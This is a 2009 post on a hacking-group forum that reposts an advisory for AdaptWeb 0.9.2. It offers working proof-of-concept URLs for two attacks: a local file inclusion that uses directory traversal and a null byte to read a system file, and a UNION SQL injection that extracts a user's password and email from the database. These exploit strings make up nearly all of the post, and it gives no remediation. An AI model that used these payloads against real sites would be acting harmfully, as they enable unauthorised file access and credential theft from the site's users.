Multi Ethnic Hacking Group


    AdaptWeb 0.9.2 (LFI/SQL) Multiple Remote Vulnerabilities

    Share
    avatar
    Foxi
    Admin

    Posts : 92
    Reputation : -1
    Join date : 2009-07-08

    AdaptWeb 0.9.2 (LFI/SQL) Multiple Remote Vulnerabilities

    Post by Foxi on Wed Jul 08, 2009 4:18 am

    Code:
    #################################################################################################################
    [+] AdaptWeb 0.9.2 (LFI/SQL) Multiple Remote Vulnerabilities
    [+] Script : http://adaptweb.sourceforge.net/
    [+] Discovered By SirGod
    [+] www.mortal-team.org
    #################################################################################################################

    [+] Script homepage : http://adaptweb.sourceforge.net/

    [+] Local File Inclusion

    - PoC

      http://127.0.0.1/[path]/index.php?newlang=../../../../../../BOOTSECT.BAK%00


    [+] SQL Injection

    - PoC

      http://127.0.0.1/[path]/a_index.php?opcao=TopicosCadastro1&CodigoDisciplina=null+union+all+select+concat_ws(0x3a,senha_usuario,email_usuario)+from+usuario+where+id_usuario=1--&numtopico=1

    #################################################################################################################


    # milw0rm.com [2009-06-15]


      Current date/time is Fri Nov 17, 2017 11:07 pm